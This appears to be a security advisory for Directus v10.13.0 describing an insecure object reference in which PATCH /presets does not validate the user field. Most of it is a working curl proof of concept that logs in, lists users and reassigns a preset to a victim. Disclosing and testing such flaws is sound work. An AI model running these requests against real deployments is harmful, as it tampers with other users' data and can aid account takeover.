Directus has an insecure object reference via PATH presets

Impact

Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.

This vulnerability occurs because the application only validates the user parameter in the POST /presets request but not in the PATCH request.

PoC

To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

1. Create a preset for a collection.

Store the preset id, or use it if it already exists from GET /presets. The following example will use the direct_users preset.

TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="[email protected]" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
  -H 'Content-Type: application/json' \
  -b "${root_dir}/static/attacker_directus_session_token" \
  --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')

2. Modify the presets via PATCH /presets/{id}.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.

curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"[email protected]\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"